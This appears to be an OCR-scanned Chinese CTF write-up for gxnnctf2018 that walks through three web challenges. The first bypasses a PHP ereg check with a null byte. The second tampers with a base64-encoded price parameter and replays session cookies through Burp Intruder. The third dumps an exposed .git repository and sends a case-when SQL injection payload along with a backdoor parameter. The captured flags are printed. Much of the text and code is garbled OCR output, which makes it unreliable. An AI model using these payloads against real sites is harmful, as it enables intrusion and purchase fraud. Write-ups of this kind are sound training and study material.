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HARIT R, RINERWTFE:

[ gxnncti.gxsosec.cn:12311 X +
C (@ F== | gxnnctf.gxsosec.cn:12311

<7php
fuhite list = rangei0,9):
require_oncel flag. php’ );
if (iszet (§_FEQUEST[ no’ 1301
$=3%_FEEQUEST['neo’ 1;
if (Bereg (" [0-2]+3", $a) == FALSE){
echo "no must be mmamber’
telae|
if (in_array (fa, fwhite_list]){
if{strlen(fal>1){
echo “you are a grest dark phper<br’ ;
echo "dimg  sro="dark. gif’ x<bri”;
echo  $flag:
telae|

1
telzed
echo “you are so dark’

echo “you no dark’

}
1
telze
highlight file{_FILE_ );

B, WMREHITHN, EMEERT ERlisset)REARBNTERRNE, HAANULLE. BIE—%M: REQUESTno |
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KTF1. Ba, RERFTLEE LEREFereg()KI00E BRI, EIHi&Eno=1%00, #A)5EIHE Flfag.

[ gxnnctigxsosec.cn:12311/7nc X +

< C @ F=== | gunnctf.gxsosec.cn:12311/7no=1%00

you are a great dark phper
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gxnnctf{HOxIkKSSKS62UXPgLCEIES|DCL7a2ngxDTT)

L5/ no=/5 H I FAE0~9E W T, HENRESR, HAKTI. Fln, WHRKAN0=10%00, &[E K Zyou are so dark.; 40
B&AE, BEKZno must be number.
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B H % http://gxnnctf.gxsosec.cn:12313/
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O login x  +
< C (@ F=%= | gxnnctf.gxsosec.cn:12313/login.php
welcome to green shop
username | password | | login |
register
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fitiflag, JERE T — F KEMKwriteup, RILE C—FFEBABRAR KN .

M AT RS, B—MRE-KSHHEMWER. XHEHRA T ANCookie, I35 1E KA B AIRBlag, XA A
REFTERIS . INEMNSEX—MBESH TeyiRF, T 75k, BRI —BREREK, EUAHHLMTEER.

B g FHRATAZE Kburpsuite, TATAIBURIL, ITH M TUIEAIGEE — K # order &base644mig 1, MRIL)515 2]
{‘good":1,“price”:500}, MMM R, Bprice, FENBERTHKIKSHE, MERWBRT, RIAFEELE KK, Fibk
1B {*good”:1,“price”:1}. XFEEETE:

¥ <body>
<a>you green level 1</a>
<br:>
<a>you balance is still 1ee0</a>
¥ <form method="post"” action="index.php?
order=eyJInb29kIjoxLCIwcml jZSI6NTAWTQ==&action=pay”> == %8


http://gxnnctf.gxsosec.cn:12313/

<input type="hidden" name="goods info" id="info" value="test">
<a>green hat(level 1) 500%</a>
<button>buy this</button>

</Torm>
<br:>
i lhwmad "1 s wbbwe Voot nn 1 oernaes L LN + s s
CEXTE SSLIEE TR SSLmIRELER NiceTool RIS
baseZmi3
base16, base32, base64
{"good":1,"price":1}
WS baseB4 FEE  utf8(unicodefRR3)
eyInb29kIjoxLCIwemljZSIEMXO=
[3 green shop X +
& C ® %&£ | gxnnctf.gxsosec.cn:12313/index.php
you green level is 2
you balance is still 999
if you want to get the big green hat,you have to buy two green hat(level2)
green hat(level2) 501$ | buy this
logout
THE%Z&E HHtipls, BATFTHFLREME, Pitcookie ML, Aburpsuite#fl, fEintruder® &L .
[Target T Positions TPaonads TOptions ]
U Payload Positions Start ¢

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.

Attack type: [Sniper

B




POST /index.php?order=eyJnb29kljoyLCJweml[jZSIBNTAxfQ==&action=pay HTTP/1.1

Host: gxnnctf.gxsosec.cn:12313

Content-Length: 15

Cache-Control: max-age=0

Origin: http://gxnnctf.gxsosec.cn: 12313

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://gxnnctf.gxsosec.cn:12313/index.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=§u849nopoesrpltrc7kvhd2mhi2§; flag=

Connection: close

s
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Attack—F, 1§%lflag:

now you are green hat king,take you flag,good luck!!!

X {Rigagflagls

gxnnctf{ZPXz1pYr247T98LogXEvePkXKkcspVIkDP88}

3.5QL (EfR) : (gittE)
B E FEE:
TFF R 5 B T 5 -

& C O &~%&%£ | gxnnctf.gxsosec.cn:12312

welcome to gxnnctf2018!
| filtered everything,so have a good time :)
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Z5 8 H"SQL"BATEE —MABEB A Msqimapil— T, HERIEAN T, X Tsqmap T MR, EAHREMNT, T

EAMA T E EEE. FRET — TAKITERwWp, 4 5ERQItRDMEE . githFaD it FE th 2 W TR 8 —fr, @R A xA

T, AT DM Bk 5 3R 19502 W T BT F YRS
X FIXE B S, RATA LA Hgit_extract.py ( ) H—TF, HERUTHE:

]

http: t osec. cn: it « v « python37 » GitHack-master > gxnnctf.gxsosec.cn 12312 v
= FE ~ EIR EigHE
+ TH git 2018/12/31 11:
23 ] 19c54e_README.md 2018/12/31 11:
=BR ] index.php 2018/12/31 11:
Demo | README.md 2018/12/31 11:
GitHack-mastel
lib
python37
4 OneDrive
£ WPSRIER
= HEERN
3 3D R
BB
=Bk
Eps
s TH
L=
[ESRTY ES N p .
XEE, BIRE T RAIEERindex.php, FNotepadiT & —TF:
L’ F:\python37\GitHack-master\gxnnctf.gxsosec.cn_12312\index.php - Notepad++ - X
XHHF) $RE(E) 1ERE) ME(Y) RWEBN) ES(0) ®E(1) TAO) &M &TR) &EHP) &Ow) ? X
Fl=] iy = ] g a3 EBERFES1EREAAE® @ 2] b
= index. phpd‘
1 H<?php ~
2 Sflag = 'gxn
3 require_once (' ¥ ;
4 $conn = new mysqgli _servername, 5db_username, $db_password, $db_name) ;
5 [Hif($conn->connect_error) {
E die("Connect failed:".jconn->connect_ error);
if (isset(§ GET['id']))(
E $id = $_GET['i ;
1 if (preg_match( floor t ) |[time |date|sec|day#is', $id))
11 die('Don\ 't
12 Ssgql = " T ere id = Sid
13 Sresult 5
14 H if (Sresult) {
13 $row = $result->fetch_array():
16 telse{
17 echo mysgli_error(Sconn):
1 die() s
20 echo("hello '.§row['u r>');
21 Susername = Srow['u
22 H if (Susername === 'g
2 E Sip = @5_SERVER[' ']:5_SERVER['R TE_ADDR']:
20 M if(nraa mateh (' 4aloen ik anldavéial nIY L



https://github.com/style-404/Git_Extract

O e g e gt

die('Don\' hack me'):
H
if (lempty (5ip)) {
echo 'you from '.Sip.' , I rem it.<br>';
sconn->query("insert into logs s(" 1M ﬂ
lect sername from ser where id =".$id);

Susername = Srow['u
if (Susername ===
var_dump (5 _GET[

if (isset(5_GET[
echo 'vou f

= ;&$7GET[‘ backdoor ' ]==="Melonrind") {

BT RATRMNABHAEE T+ ITIE, B Somysqlif i BLRRE LR E R ESE, HAIfEA), select whereif A KB EHRE T
I, —HEAETE, BRITAHERKMusername, BIHX M ATidRAERITIEN . FLEZIF Hcase whenfithiseid, HIMEERTA
T, HATWMEN2, PAZHIEERERN .. F—REMRE2, FIXEHRET. £XEHAselectiff)E X & EcH, HxfH
HATRE, @ctf:=2

BN C\Windows\5System3Z2\cmd.exe - mysql -u root -p

Ictf-1 end

mysql>

B TR sidst B username & EZ& S F kI, BlidEd Pk E#. $£—Rid=2, FKid=1. 4E&TH
i1’ backdoor'='"Melonrind’, #Jipayload:

4 .
15 3flag:
3 gxnnctf.gxsosec.cn:12312/indc X [ gxnnctf.gxsosec.cn:12312/%id- X + - X
< C O A2 | gxnnctf.gxsosec.cn:12312/?id=case%20when%20@ctf%20is%20null%20then%20@ctf:=2%20else%20@ctf:= @ctf-1%20end&backdoor=Melo... &
hello guest

you from 122.96.40.74 , | remembered it.
you find the backdoor!!!
gxnnctf{pRPXbwjUDyg8hVyNelh3p90XGC3UI43ur5dy}
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(3) qitit#E: https://mww.jianshu.com/p/0ea09975169d
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